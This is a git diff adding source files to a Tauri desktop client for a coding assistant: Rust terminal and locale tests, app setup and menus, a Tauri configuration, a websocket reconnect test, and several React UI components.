+            "装 Skills 成功\n"
+        );
+        assert!(pending.is_empty());
+    }
+
+    #[test]
+    fn terminal_output_decoder_keeps_incomplete_suffix_pending() {
+        let mut pending = Vec::new();
+        let bytes = "中文".as_bytes();
+
+        assert_eq!(decode_terminal_output(&mut pending, &bytes[..4]), "中");
+        assert_eq!(pending, bytes[3..4]);
+        assert_eq!(decode_terminal_output(&mut pending, &bytes[4..]), "文");
+        assert!(pending.is_empty());
+    }
+
+    #[test]
+    fn parse_env_block_reads_nul_delimited_values() {
+        let env =
+            parse_env_block(b"PATH=/opt/homebrew/bin:/usr/bin\0NODE_PATH=/tmp/node\0EMPTY=\0");
+
+        assert_eq!(
+            env.get("PATH").map(String::as_str),
+            Some("/opt/homebrew/bin:/usr/bin")
+        );
+        assert_eq!(env.get("NODE_PATH").map(String::as_str), Some("/tmp/node"));
+        assert_eq!(env.get("EMPTY").map(String::as_str), Some(""));
+    }
+
+    #[test]
+    fn terminal_environment_forces_utf8_locale_when_shell_uses_c_locale() {
+        let mut env = HashMap::from([
+            ("LANG".to_string(), "C".to_string()),
+            ("LC_CTYPE".to_string(), "POSIX".to_string()),
+            ("LC_ALL".to_string(), "C".to_string()),
+        ]);
+
+        ensure_utf8_locale(&mut env);
+
+        assert_eq!(
+            env.get("LANG").map(String::as_str),
+            Some(default_utf8_locale())
+        );
+        assert_eq!(
+            env.get("LC_CTYPE").map(String::as_str),
+            Some(default_utf8_locale())
+        );
+        assert_eq!(
+            env.get("LC_ALL").map(String::as_str),
+            Some(default_utf8_locale())
+        );
+    }
+
+    #[test]
+    fn terminal_environment_keeps_existing_utf8_locale() {
+        let mut env = HashMap::from([
+            ("LANG".to_string(), "zh_CN.UTF-8".to_string()),
+            ("LC_CTYPE".to_string(), "en_US.UTF8".to_string()),
+            ("LC_ALL".to_string(), "C.UTF-8".to_string()),
+        ]);
+
+        ensure_utf8_locale(&mut env);
+
+        assert_eq!(env.get("LANG").map(String::as_str), Some("zh_CN.UTF-8"));
+        assert_eq!(env.get("LC_CTYPE").map(String::as_str), Some("en_US.UTF8"));
+        assert_eq!(env.get("LC_ALL").map(String::as_str), Some("C.UTF-8"));
+    }
+}
+
+#[cfg_attr(mobile, tauri::mobile_entry_point)]
+pub fn run() {
+    let builder = tauri::Builder::default()
+        .manage(ServerState::default())
+        .manage(AdapterState::default())
+        .manage(TerminalState::default())
+        .manage(AppExitState::default())
+        .plugin(tauri_plugin_shell::init())
+        .plugin(tauri_plugin_dialog::init())
+        .plugin(tauri_plugin_process::init())
+        .plugin(tauri_plugin_updater::Builder::new().build())
+        .invoke_handler(tauri::generate_handler![
+            get_server_url,
+            restart_adapters_sidecar,
+            prepare_for_update_install,
+            terminal_spawn,
+            terminal_write,
+            terminal_resize,
+            terminal_kill
+        ]);
+
+    // macOS: native menu bar (traffic-light overlay style)
+    #[cfg(target_os = "macos")]
+    let builder = builder
+        .menu(|app| {
+            let about_item =
+                MenuItemBuilder::with_id("nav_about", "关于 Claude Code Haha").build(app)?;
+            let settings_item = MenuItemBuilder::with_id("nav_settings", "设置...")
+                .accelerator("CmdOrCtrl+,")
+                .build(app)?;
+
+            let app_submenu = SubmenuBuilder::new(app, "Claude Code Haha")
+                .item(&about_item)
+                .separator()
+                .item(&settings_item)
+                .separator()
+                .services()
+                .separator()
+                .hide()
+                .hide_others()
+                .show_all()
+                .separator()
+                .quit()
+                .build()?;
+
+            let edit_submenu = SubmenuBuilder::new(app, "Edit")
+                .undo()
+                .redo()
+                .separator()
+                .cut()
+                .copy()
+                .paste()
+                .select_all()
+                .build()?;
+
+            let view_submenu = SubmenuBuilder::new(app, "View").fullscreen().build()?;
+
+            let window_submenu = SubmenuBuilder::new(app, "Window")
+                .minimize()
+                .maximize()
+                .close_window()
+                .build()?;
+
+            MenuBuilder::new(app)
+                .item(&app_submenu)
+                .item(&edit_submenu)
+                .item(&view_submenu)
+                .item(&window_submenu)
+                .build()
+        })
+        .on_menu_event(|app, event| match event.id().as_ref() {
+            "nav_about" => {
+                let _ = app.emit("native-menu-navigate", "about");
+            }
+            "nav_settings" => {
+                let _ = app.emit("native-menu-navigate", "settings");
+            }
+            _ => {}
+        });
+
+    let app = builder
+        .setup(|app| {
+            setup_system_tray(app)?;
+
+            let state = app.state::<ServerState>();
+            let mut guard = state
+                .0
+                .lock()
+                .map_err(|_| IoError::new(ErrorKind::Other, "server state lock poisoned"))?;
+
+            match start_server_sidecar(&app.handle()) {
+                Ok(runtime) => {
+                    guard.runtime = Some(runtime);
+                    guard.startup_error = None;
+                }
+                Err(err) => {
+                    eprintln!("[desktop] failed to start local server: {err}");
+                    guard.runtime = None;
+                    guard.startup_error = Some(err);
+                }
+            }
+            drop(guard);
+
+            // server 起来之后再起 adapter sidecar —— start_adapters_sidecar
+            // 内部会从 ServerState 读 server URL 注入 ADAPTER_SERVER_URL env，
+            // 让 adapter 连上动态端口。
+            spawn_and_track_adapters_sidecar(&app.handle());
+
+            Ok(())
+        })
+        .build(tauri::generate_context!())
+        .expect("error while building tauri application");
+
+    app.run(|app_handle, event| match event {
+        RunEvent::WindowEvent {
+            label,
+            event: WindowEvent::CloseRequested { api, .. },
+            ..
+        } if should_hide_to_tray(app_handle, &label) => {
+            api.prevent_close();
+            if let Some(window) = app_handle.get_webview_window(&label) {
+                let _ = window.hide();
+            }
+        }
+        #[cfg(target_os = "macos")]
+        RunEvent::Reopen {
+            has_visible_windows: false,
+            ..
+        } => {
+            show_main_window(app_handle);
+        }
+        RunEvent::ExitRequested { .. } => {
+            mark_app_quitting(app_handle);
+            stop_server_sidecar(app_handle);
+            stop_adapters_sidecar(app_handle);
+        }
+        RunEvent::Exit => {
+            mark_app_quitting(app_handle);
+            stop_server_sidecar(app_handle);
+            stop_adapters_sidecar(app_handle);
+        }
+        _ => {}
+    });
+}
diff --git a/_all-in-one-upload/cc-haha/desktop/src-tauri/tauri.conf.json b/_all-in-one-upload/cc-haha/desktop/src-tauri/tauri.conf.json
new file mode 100644
index 0000000..c9330e6
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src-tauri/tauri.conf.json
@@ -0,0 +1,76 @@
+{
+  "$schema": "https://raw.githubusercontent.com/nicegui/nicegui/main/nicegui/static/tauri-schema-v2.json",
+  "productName": "HeiCode",
+  "version": "0.1.0",
+  "identifier": "com.heicode.desktop",
+  "build": {
+    "frontendDist": "../dist",
+    "devUrl": "http://localhost:1420",
+    "beforeDevCommand": "bun run build:sidecars && bun run dev",
+    "beforeBuildCommand": "bun run build && bun run build:sidecars"
+  },
+  "app": {
+    "windows": [
+      {
+        "title": "HeiCode",
+        "width": 1440,
+        "height": 960,
+        "minWidth": 960,
+        "minHeight": 640,
+        "decorations": true,
+        "transparent": false,
+        "acceptFirstMouse": true
+      }
+    ],
+    "security": {
+      "dangerousDisableAssetCspModification": ["style-src"],
+      "csp": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: asset: https://asset.localhost; font-src 'self' data:; connect-src 'self' ws://127.0.0.1:* http://127.0.0.1:* ws://localhost:* http://localhost:*; media-src 'self' blob:"
+    }
+  },
+  "plugins": {
+    "updater": {
+      "pubkey": "dW50cnVzdGVkIGNvbW1lbnQ6IG1pbmlzaWduIHB1YmxpYyBrZXk6IDlCOUIwRDExQTc5RTFGMzYKUldRMkg1Nm5FUTJibTJ2cGlHY0pkL0dGemxXMUlzc01pVTVMM1U3WGpmWUtrUC8wK2ErSXhLKzEK",
+      "endpoints": [],
+      "windows": {
+        "installMode": "passive"
+      }
+    }
+  },
+  "bundle": {
+    "active": true,
+    "targets": "all",
+    "createUpdaterArtifacts": true,
+    "windows": {
+      "nsis": {
+        "installerHooks": "windows-installer-hooks.nsh"
+      }
+    },
+    "externalBin": [
+      "binaries/claude-sidecar"
+    ],
+    "resources": [],
+    "icon": [
+      "icons/32x32.png",
+      "icons/128x128.png",
+      "icons/128x128@2x.png",
+      "icons/icon.icns",
+      "icons/icon.ico"
+    ],
+    "macOS": {
+      "dmg": {
+        "appPosition": {
+          "x": 180,
+          "y": 170
+        },
+        "applicationFolderPosition": {
+          "x": 480,
+          "y": 170
+        },
+        "windowSize": {
+          "width": 660,
+          "height": 400
+        }
+      }
+    }
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/desktop/src/api/skills.ts b/_all-in-one-upload/cc-haha/desktop/src/api/skills.ts
new file mode 100644
index 0000000..c081699
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src/api/skills.ts
@@ -0,0 +1,22 @@
+import { api } from './client'
+import type { SkillMeta, SkillDetail } from '../types/skill'
+
+export const skillsApi = {
+  list: (cwd?: string) => {
+    const query = cwd ? `?cwd=${encodeURIComponent(cwd)}` : ''
+    return api.get<{ skills: SkillMeta[] }>(`/api/skills${query}`, { timeout: 120_000 })
+  },
+
+  detail: (source: string, name: string, cwd?: string) => {
+    const query = new URLSearchParams({
+      source,
+      name,
+    })
+    if (cwd) query.set('cwd', cwd)
+
+    return api.get<{ detail: SkillDetail }>(
+      `/api/skills/detail?${query.toString()}`,
+      { timeout: 120_000 },
+    )
+  },
+}
diff --git a/_all-in-one-upload/cc-haha/desktop/src/api/websocket.test.ts b/_all-in-one-upload/cc-haha/desktop/src/api/websocket.test.ts
new file mode 100644
index 0000000..7481319
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src/api/websocket.test.ts
@@ -0,0 +1,92 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+vi.mock('./client', () => ({
+  getBaseUrl: () => 'http://127.0.0.1:3456',
+}))
+
+import { wsManager } from './websocket'
+
+type SocketHandler = (() => void) | ((event: { data: string }) => void)
+
+class FakeWebSocket {
+  static readonly CONNECTING = 0
+  static readonly OPEN = 1
+  static readonly CLOSING = 2
+  static readonly CLOSED = 3
+  static instances: FakeWebSocket[] = []
+
+  readonly url: string
+  readyState = FakeWebSocket.CONNECTING
+  onopen: SocketHandler | null = null
+  onmessage: SocketHandler | null = null
+  onclose: SocketHandler | null = null
+  onerror: SocketHandler | null = null
+  sent: string[] = []
+
+  constructor(url: string) {
+    this.url = url
+    FakeWebSocket.instances.push(this)
+  }
+
+  send(data: string) {
+    this.sent.push(data)
+  }
+
+  close() {
+    this.readyState = FakeWebSocket.CLOSED
+    ;(this.onclose as (() => void) | null)?.()
+  }
+
+  open() {
+    this.readyState = FakeWebSocket.OPEN
+    ;(this.onopen as (() => void) | null)?.()
+  }
+
+  fail() {
+    this.readyState = FakeWebSocket.CLOSED
+    ;(this.onclose as (() => void) | null)?.()
+  }
+}
+
+describe('wsManager reconnect buffering', () => {
+  const originalWebSocket = globalThis.WebSocket
+
+  beforeEach(() => {
+    vi.useFakeTimers()
+    FakeWebSocket.instances = []
+    globalThis.WebSocket = FakeWebSocket as unknown as typeof WebSocket
+    wsManager.disconnectAll()
+  })
+
+  afterEach(() => {
+    wsManager.disconnectAll()
+    globalThis.WebSocket = originalWebSocket
+    vi.useRealTimers()
+  })
+
+  it('replays queued messages after an unexpected reconnect', async () => {
+    wsManager.connect('session-reconnect')
+
+    const firstSocket = FakeWebSocket.instances[0]
+    expect(firstSocket?.url).toContain('/ws/session-reconnect')
+
+    firstSocket!.open()
+    wsManager.send('session-reconnect', { type: 'user_message', content: 'first' })
+    expect(firstSocket!.sent).toEqual([
+      JSON.stringify({ type: 'user_message', content: 'first' }),
+    ])
+
+    firstSocket!.fail()
+    wsManager.send('session-reconnect', { type: 'user_message', content: 'queued while offline' })
+
+    await vi.advanceTimersByTimeAsync(1000)
+
+    const secondSocket = FakeWebSocket.instances[1]
+    expect(secondSocket).toBeDefined()
+    secondSocket!.open()
+
+    expect(secondSocket!.sent).toEqual([
+      JSON.stringify({ type: 'user_message', content: 'queued while offline' }),
+    ])
+  })
+})
diff --git a/_all-in-one-upload/cc-haha/desktop/src/components/shared/UpdateChecker.tsx b/_all-in-one-upload/cc-haha/desktop/src/components/shared/UpdateChecker.tsx
new file mode 100644
index 0000000..d9bec6a
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src/components/shared/UpdateChecker.tsx
@@ -0,0 +1,106 @@
+import { useEffect } from 'react'
+import { useTranslation } from '../../i18n'
+import { MarkdownRenderer } from '../markdown/MarkdownRenderer'
+import { isTauriRuntime } from '../../lib/desktopRuntime'
+import { useUpdateStore } from '../../stores/updateStore'
+import { formatBytes } from '../../lib/formatBytes'
+
+export function UpdateChecker() {
+  const t = useTranslation()
+  const status = useUpdateStore((s) => s.status)
+  const availableVersion = useUpdateStore((s) => s.availableVersion)
+  const releaseNotes = useUpdateStore((s) => s.releaseNotes)
+  const progressPercent = useUpdateStore((s) => s.progressPercent)
+  const downloadedBytes = useUpdateStore((s) => s.downloadedBytes)
+  const totalBytes = useUpdateStore((s) => s.totalBytes)
+  const error = useUpdateStore((s) => s.error)
+  const shouldPrompt = useUpdateStore((s) => s.shouldPrompt)
+  const initialize = useUpdateStore((s) => s.initialize)
+  const installUpdate = useUpdateStore((s) => s.installUpdate)
+  const dismissPrompt = useUpdateStore((s) => s.dismissPrompt)
+
+  useEffect(() => {
+    void initialize()
+  }, [initialize])
+
+  if (!isTauriRuntime()) return null
+
+  const showPopup =
+    shouldPrompt && !!availableVersion && ['available', 'downloading', 'restarting'].includes(status)
+
+  if (!showPopup) return null
+
+  const hasKnownProgress = typeof totalBytes === 'number' && totalBytes > 0
+  const downloadedText = formatBytes(downloadedBytes)
+  const statusText =
+    status === 'restarting'
+      ? t('update.restarting')
+      : status === 'downloading'
+        ? hasKnownProgress
+          ? t('update.downloading')
+          : t('update.progressBytes', { downloaded: downloadedText })
+        : null
+
+  return (
+    <div className="fixed top-4 right-4 z-[200] max-w-sm">
+      <div className="bg-[var(--color-surface-container-low)] border border-[var(--color-border)] rounded-[var(--radius-lg)] shadow-[var(--shadow-dropdown)] p-4">
+        <p className="text-sm font-medium text-[var(--color-text-primary)]">
+          {t('update.available', { version: availableVersion })}
+        </p>
+
+        {releaseNotes && (
+          <div className="mt-2 max-h-40 overflow-y-auto rounded-lg border border-[var(--color-border)]/60 bg-[var(--color-surface)]/70 px-3 py-2">
+            <MarkdownRenderer
+              content={releaseNotes}
+              className="text-xs leading-5 text-[var(--color-text-secondary)] [&_h1]:mb-2 [&_h1]:text-sm [&_h1]:font-semibold [&_h2]:mb-1.5 [&_h2]:text-xs [&_h2]:font-semibold [&_p]:my-1.5 [&_p]:text-xs [&_p]:leading-5 [&_ul]:my-1.5 [&_ol]:my-1.5"
+            />
+          </div>
+        )}
+
+        {(status === 'downloading' || status === 'restarting') && (
+          <div className="mt-3">
+            <div className="h-1.5 bg-[var(--color-surface)] rounded-full overflow-hidden">
+              {hasKnownProgress || status === 'restarting' ? (
+                <div
+                  className="h-full bg-[var(--color-text-accent)] transition-all duration-300"
+                  style={{ width: `${Math.min(progressPercent, 100)}%` }}
+                />
+              ) : (
+                <div className="h-full w-1/3 rounded-full bg-[var(--color-text-accent)]/75 animate-pulse" />
+              )}
+            </div>
+            {statusText && (
+              <p className="text-xs text-[var(--color-text-tertiary)] mt-1">
+                {statusText}
+                {status === 'downloading' && hasKnownProgress ? ` ${progressPercent}%` : ''}
+              </p>
+            )}
+          </div>
+        )}
+
+        {error && (
+          <p className="mt-2 text-xs text-[var(--color-error)]">
+            {t('update.failed', { error })}
+          </p>
+        )}
+
+        {status === 'available' && (
+          <div className="mt-3 flex gap-2">
+            <button
+              onClick={() => void installUpdate()}
+              className="px-3 py-1 text-xs font-medium rounded-[var(--radius-md)] bg-[var(--color-text-accent)] text-white hover:opacity-90 transition-opacity"
+            >
+              {t('update.now')}
+            </button>
+            <button
+              onClick={dismissPrompt}
+              className="px-3 py-1 text-xs text-[var(--color-text-tertiary)] hover:text-[var(--color-text-primary)] transition-colors"
+            >
+              {t('update.later')}
+            </button>
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
diff --git a/_all-in-one-upload/cc-haha/desktop/src/components/tasks/DayOfWeekPicker.tsx b/_all-in-one-upload/cc-haha/desktop/src/components/tasks/DayOfWeekPicker.tsx
new file mode 100644
index 0000000..577b848
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src/components/tasks/DayOfWeekPicker.tsx
@@ -0,0 +1,57 @@
+import { useTranslation } from '../../i18n'
+
+type Props = {
+  selected: number[]
+  onChange: (days: number[]) => void
+}
+
+// Display order: Mon(1) → Sun(0), matching Chinese convention
+const DAY_ORDER = [1, 2, 3, 4, 5, 6, 0]
+
+const DAY_KEYS = [
+  'newTask.daySun',
+  'newTask.dayMon',
+  'newTask.dayTue',
+  'newTask.dayWed',
+  'newTask.dayThu',
+  'newTask.dayFri',
+  'newTask.daySat',
+] as const
+
+export function DayOfWeekPicker({ selected, onChange }: Props) {
+  const t = useTranslation()
+
+  const toggle = (day: number) => {
+    if (selected.includes(day)) {
+      // Don't allow deselecting the last day
+      if (selected.length <= 1) return
+      onChange(selected.filter((d) => d !== day))
+    } else {
+      onChange([...selected, day])
+    }
+  }
+
+  return (
+    <div className="flex gap-1.5">
+      {DAY_ORDER.map((day) => {
+        const isActive = selected.includes(day)
+        return (
+          <button
+            key={day}
+            type="button"
+            onClick={() => toggle(day)}
+            className={`
+              w-8 h-8 rounded-full text-xs font-medium transition-colors
+              ${isActive
+                ? 'bg-[var(--color-surface-selected)] text-[var(--color-text-primary)] border border-[var(--color-border-focus)]'
+                : 'bg-[var(--color-surface)] text-[var(--color-text-tertiary)] border border-[var(--color-border)] hover:bg-[var(--color-surface-hover)]'
+              }
+            `}
+          >
+            {t(DAY_KEYS[day]!)}
+          </button>
+        )
+      })}
+    </div>
+  )
+}
diff --git a/_all-in-one-upload/cc-haha/desktop/src/pages/ActiveSession.tsx b/_all-in-one-upload/cc-haha/desktop/src/pages/ActiveSession.tsx
new file mode 100644
index 0000000..0cc18ec
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src/pages/ActiveSession.tsx
@@ -0,0 +1,219 @@
+import { useEffect, useMemo } from 'react'
+import { useTabStore } from '../stores/tabStore'
+import { useSessionStore } from '../stores/sessionStore'
+import { useChatStore } from '../stores/chatStore'
+import { useCLITaskStore } from '../stores/cliTaskStore'
+import { useTeamStore } from '../stores/teamStore'
+import { useTranslation } from '../i18n'
+import { MessageList } from '../components/chat/MessageList'
+import { ChatInput } from '../components/chat/ChatInput'
+import { ComputerUsePermissionModal } from '../components/chat/ComputerUsePermissionModal'
+import { TeamStatusBar } from '../components/teams/TeamStatusBar'
+import { SessionTaskBar } from '../components/chat/SessionTaskBar'
+
+const TASK_POLL_INTERVAL_MS = 1000
+
+export function ActiveSession() {
+  const activeTabId = useTabStore((s) => s.activeTabId)
+  const sessions = useSessionStore((s) => s.sessions)
+  const connectToSession = useChatStore((s) => s.connectToSession)
+  const sessionState = useChatStore((s) => activeTabId ? s.sessions[activeTabId] : undefined)
+  const pendingComputerUsePermission = sessionState?.pendingComputerUsePermission ?? null
+  const fetchSessionTasks = useCLITaskStore((s) => s.fetchSessionTasks)
+  const trackedTaskSessionId = useCLITaskStore((s) => s.sessionId)
+  const hasIncompleteTasks = useCLITaskStore((s) => s.tasks.some((task) => task.status !== 'completed'))
+  const chatState = sessionState?.chatState ?? 'idle'
+  const tokenUsage = sessionState?.tokenUsage ?? { input_tokens: 0, output_tokens: 0 }
+
+  const session = sessions.find((s) => s.id === activeTabId)
+  const memberInfo = useTeamStore((s) => activeTabId ? s.getMemberBySessionId(activeTabId) : null)
+  const activeTeam = useTeamStore((s) => s.activeTeam)
+  const isMemberSession = !!memberInfo
+
+  useEffect(() => {
+    if (activeTabId && !isMemberSession) {
+      connectToSession(activeTabId)
+    }
+  }, [activeTabId, isMemberSession, connectToSession])
+
+  useEffect(() => {
+    if (!activeTabId || isMemberSession) return
+
+    const shouldPollTasks =
+      chatState !== 'idle' ||
+      (trackedTaskSessionId === activeTabId && hasIncompleteTasks)
+
+    if (!shouldPollTasks) return
+
+    void fetchSessionTasks(activeTabId)
+
+    const timer = setInterval(() => {
+      void fetchSessionTasks(activeTabId)
+    }, TASK_POLL_INTERVAL_MS)
+
+    return () => clearInterval(timer)
+  }, [
+    activeTabId,
+    isMemberSession,
+    chatState,
+    trackedTaskSessionId,
+    hasIncompleteTasks,
+    fetchSessionTasks,
+  ])
+
+  const t = useTranslation()
+  const messages = sessionState?.messages ?? []
+  const streamingText = sessionState?.streamingText ?? ''
+  const isEmpty = messages.length === 0 && !streamingText
+
+  const isActive = chatState !== 'idle'
+  const totalTokens = tokenUsage.input_tokens + tokenUsage.output_tokens
+
+  const lastUpdated = useMemo(() => {
+    if (!session?.modifiedAt) return ''
+    const diff = Date.now() - new Date(session.modifiedAt).getTime()
+    if (diff < 60000) return t('session.timeJustNow')
+    if (diff < 3600000) return t('session.timeMinutes', { n: Math.floor(diff / 60000) })
+    if (diff < 86400000) return t('session.timeHours', { n: Math.floor(diff / 3600000) })
+    return t('session.timeDays', { n: Math.floor(diff / 86400000) })
+  }, [session?.modifiedAt, t])
+
+  if (!activeTabId) return null
+
+  return (
+    <div className="flex-1 flex flex-col relative overflow-hidden bg-background text-on-surface">
+      {isMemberSession && (
+        <div className="shrink-0 border-b border-[var(--color-border)] bg-[var(--color-surface-container)]">
+          <div className="mx-auto max-w-[860px] flex items-center justify-between gap-4 px-8 py-2">
+            <div className="min-w-0">
+              <div className="flex items-center gap-3">
+                {memberInfo?.status === 'running' && (
+                  <span className="flex h-2 w-2 rounded-full bg-[var(--color-warning)] animate-pulse-dot" />
+                )}
+                {memberInfo?.status === 'completed' && (
+                  <span className="material-symbols-outlined text-[14px] text-[var(--color-success)]" style={{ fontVariationSettings: "'FILL' 1" }}>check_circle</span>
+                )}
+                <span className="material-symbols-outlined text-[14px] text-[var(--color-text-tertiary)]">smart_toy</span>
+                <span className="text-sm font-semibold text-[var(--color-text-primary)]">
+                  {memberInfo?.role}
+                </span>
+                {activeTeam && (
+                  <span className="text-[10px] text-[var(--color-text-tertiary)]">
+                    @ {activeTeam.name}
+                  </span>
+                )}
+              </div>
+              <p className="mt-1 text-[11px] text-[var(--color-text-tertiary)]">
+                {t('teams.memberSessionHint')}
+              </p>
+            </div>
+            <button
+              onClick={() => {
+                if (activeTeam?.leadSessionId) {
+                  useTabStore.getState().openTab(
+                    activeTeam.leadSessionId,
+                    t('teams.leader'),
+                    'session',
+                  )
+                }
+              }}
+              disabled={!activeTeam?.leadSessionId}
+              className="flex shrink-0 items-center gap-1 text-xs font-medium text-[var(--color-text-secondary)] hover:text-[var(--color-text-primary)] transition-colors disabled:opacity-50 disabled:hover:text-[var(--color-text-secondary)]"
+            >
+              <span className="material-symbols-outlined text-[14px]">arrow_back</span>
+              {t('teams.backToLeader')}
+            </button>
+          </div>
+        </div>
+      )}
+
+      {isEmpty ? (
+        <div className="flex flex-1 flex-col items-center justify-center p-8 pb-32">
+          <div className="flex max-w-md flex-col items-center text-center">
+            {isMemberSession ? (
+              <>
+                <span className="material-symbols-outlined text-[48px] mb-4 text-[var(--color-text-tertiary)]">smart_toy</span>
+                <p className="text-[var(--color-text-secondary)]">
+                  {memberInfo?.status === 'running'
+                    ? `${memberInfo.role} ${t('teams.working')}`
+                    : t('teams.noMessages')}
+                </p>
+              </>
+            ) : (
+              <>
+                <img src="/app-icon.png" alt="Claude Code Haha" className="mb-6 h-24 w-24" />
+                <h1 className="mb-2 text-3xl font-extrabold tracking-tight text-[var(--color-text-primary)]" style={{ fontFamily: 'var(--font-headline)' }}>
+                  {t('empty.title')}
+                </h1>
+                <p className="mx-auto max-w-xs text-[var(--color-text-secondary)]" style={{ fontFamily: 'var(--font-body)' }}>
+                  {t('empty.subtitle')}
+                </p>
+              </>
+            )}
+          </div>
+        </div>
+      ) : (
+        <>
+          {!isMemberSession && (
+            <div className="mx-auto flex w-full max-w-[860px] items-center border-b border-outline-variant/10 px-8 py-3">
+              <div className="flex-1">
+                <h1 className="text-lg font-bold font-headline text-on-surface leading-tight">
+                  {session?.title || t('session.untitled')}
+                </h1>
+                <div className="flex items-center gap-2 text-[10px] text-outline font-medium mt-1">
+                  {isActive && (
+                    <span className="flex items-center gap-1">
+                      <span className="w-1.5 h-1.5 rounded-full bg-[var(--color-success)] animate-pulse-dot" />
+                      {t('session.active')}
+                    </span>
+                  )}
+                  {totalTokens > 0 && (
+                    <>
+                      <span className="text-[var(--color-outline)]">·</span>
+                      <span>{totalTokens.toLocaleString()} t</span>
+                    </>
+                  )}
+                  {lastUpdated && (
+                    <>
+                      <span className="text-[var(--color-outline)]">·</span>
+                      <span>{t('session.lastUpdated', { time: lastUpdated })}</span>
+                    </>
+                  )}
+                  {session?.messageCount !== undefined && session.messageCount > 0 && (
+                    <>
+                      <span className="text-[var(--color-outline)]">·</span>
+                      <span>{t('session.messages', { count: session.messageCount })}</span>
+                    </>
+                  )}
+                </div>
+                {session?.workDirExists === false && (
+                  <div className="mt-2 inline-flex max-w-full items-center gap-2 rounded-lg border border-[var(--color-error)]/20 bg-[var(--color-error)]/8 px-3 py-1.5 text-[11px] text-[var(--color-error)]">
+                    <span className="material-symbols-outlined text-[14px]">warning</span>
+                    <span className="truncate">
+                      {t('session.workspaceUnavailable', { dir: session.workDir || 'directory no longer exists' })}
+                    </span>
+                  </div>
+                )}
+              </div>
+            </div>
+          )}
+
+          <MessageList />
+        </>
+      )}
+
+      {!isMemberSession && <SessionTaskBar />}
+
+      <TeamStatusBar />
+
+      <ChatInput variant={isEmpty && !isMemberSession ? 'hero' : 'default'} />
+
+      {!isMemberSession && activeTabId ? (
+        <ComputerUsePermissionModal
+          sessionId={activeTabId}
+          request={pendingComputerUsePermission?.request ?? null}
+        />
+      ) : null}
+    </div>
+  )
+}
diff --git a/_all-in-one-upload/cc-haha/desktop/src/pages/ScheduledTasksList.tsx b/_all-in-one-upload/cc-haha/desktop/src/pages/ScheduledTasksList.tsx
new file mode 100644
index 0000000..7c7c87b
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src/pages/ScheduledTasksList.tsx
@@ -0,0 +1,416 @@
+import { useTranslation } from '../i18n'
+import { mockScheduledTasks, mockStatusBar } from '../mocks/data'
+
+export function ScheduledTasksList() {
+  const t = useTranslation()
+  const { stats, tasks } = mockScheduledTasks
+  const task0 = tasks[0]!
+  const task1 = tasks[1]!
+  const task2 = tasks[2]!
+
+  return (
+    <div className="bg-[#FAF9F5] text-[#1B1C1A] flex min-h-screen overflow-hidden font-[Inter,sans-serif]">
+      {/* SideNavBar */}
+      <aside className="fixed left-0 top-0 h-full w-[280px] bg-[#F4F4F0] flex flex-col p-4 gap-2 z-40">
+        <div className="mb-6 px-2 flex items-center gap-3">
+          <div className="w-8 h-8 rounded-lg bg-[#AD5F45] flex items-center justify-center">
+            <span
+              className="material-symbols-outlined text-white"
+              style={{ fontVariationSettings: "'FILL' 1" }}
+            >
+              folder_managed
+            </span>
+          </div>
+          <div>
+            <h2 className="font-[Manrope,sans-serif] text-sm font-bold text-[#1B1C1A] uppercase tracking-tighter">{t('sidebar.allProjects')}</h2>
+            <p className="text-xs text-[#87736D] font-medium">{t('scheduledPage.activeSession')}</p>
+          </div>
+        </div>
+
+        <button className="flex items-center gap-3 px-3 py-2 w-full text-[#87736D] hover:bg-[#EBEBE6] transition-all rounded-lg font-medium text-sm duration-200 ease-in-out">
+          <span className="material-symbols-outlined">add</span>
+          {t('sidebar.newSession')}
+        </button>
+        <button className="flex items-center gap-3 px-3 py-2 w-full bg-[#FAF9F5] text-[#1B1C1A] rounded-lg relative before:content-[''] before:absolute before:left-[-8px] before:w-1 before:h-4 before:bg-[#8F482F] before:rounded-full font-medium text-sm duration-200 ease-in-out">
+          <span
+            className="material-symbols-outlined"
+            style={{ fontVariationSettings: "'FILL' 1" }}
+          >
+            calendar_today
+          </span>
+          {t('sidebar.scheduled')}
+        </button>
+        <button className="flex items-center gap-3 px-3 py-2 w-full text-[#87736D] hover:bg-[#EBEBE6] transition-all rounded-lg font-medium text-sm duration-200 ease-in-out">
+          <span className="material-symbols-outlined">history</span>
+          {t('sidebar.timeGroup.today')}
+        </button>
+        <button className="flex items-center gap-3 px-3 py-2 w-full text-[#87736D] hover:bg-[#EBEBE6] transition-all rounded-lg font-medium text-sm duration-200 ease-in-out">
+          <span className="material-symbols-outlined">event_note</span>
+          {t('sidebar.timeGroup.last7days')}
+        </button>
+        <button className="flex items-center gap-3 px-3 py-2 w-full text-[#87736D] hover:bg-[#EBEBE6] transition-all rounded-lg font-medium text-sm duration-200 ease-in-out">
+          <span className="material-symbols-outlined">archive</span>
+          {t('sidebar.timeGroup.older')}
+        </button>
+
+        <div className="mt-auto pt-4 flex flex-col gap-2">
+          <div className="px-2 py-4">
+            <button className="w-full bg-[#E9E8E4] text-[#1B1C1A] font-[Manrope,sans-serif] text-xs font-bold py-2 rounded-lg flex items-center justify-center gap-2 hover:bg-[#E3E2DF] transition-colors">
+              <span className="material-symbols-outlined text-[1rem]">search</span>
+              {t('sidebar.searchPlaceholder')}
+            </button>
+          </div>
+          <div className="h-[1px] bg-[#DAC1BA]/20 mx-2 mb-2"></div>
+          <button className="flex items-center gap-3 px-3 py-2 w-full text-[#87736D] hover:bg-[#EBEBE6] transition-all rounded-lg font-medium text-sm duration-200 ease-in-out">
+            <span className="material-symbols-outlined">computer</span>
+            {t('scheduledPage.localMode')}
+          </button>
+          <button className="flex items-center gap-3 px-3 py-2 w-full text-[#87736D] hover:bg-[#EBEBE6] transition-all rounded-lg font-medium text-sm duration-200 ease-in-out">
+            <span className="material-symbols-outlined">cloud</span>
+            {t('scheduledPage.remoteMode')}
+          </button>
+        </div>
+      </aside>
+
+      {/* Main Content Area */}
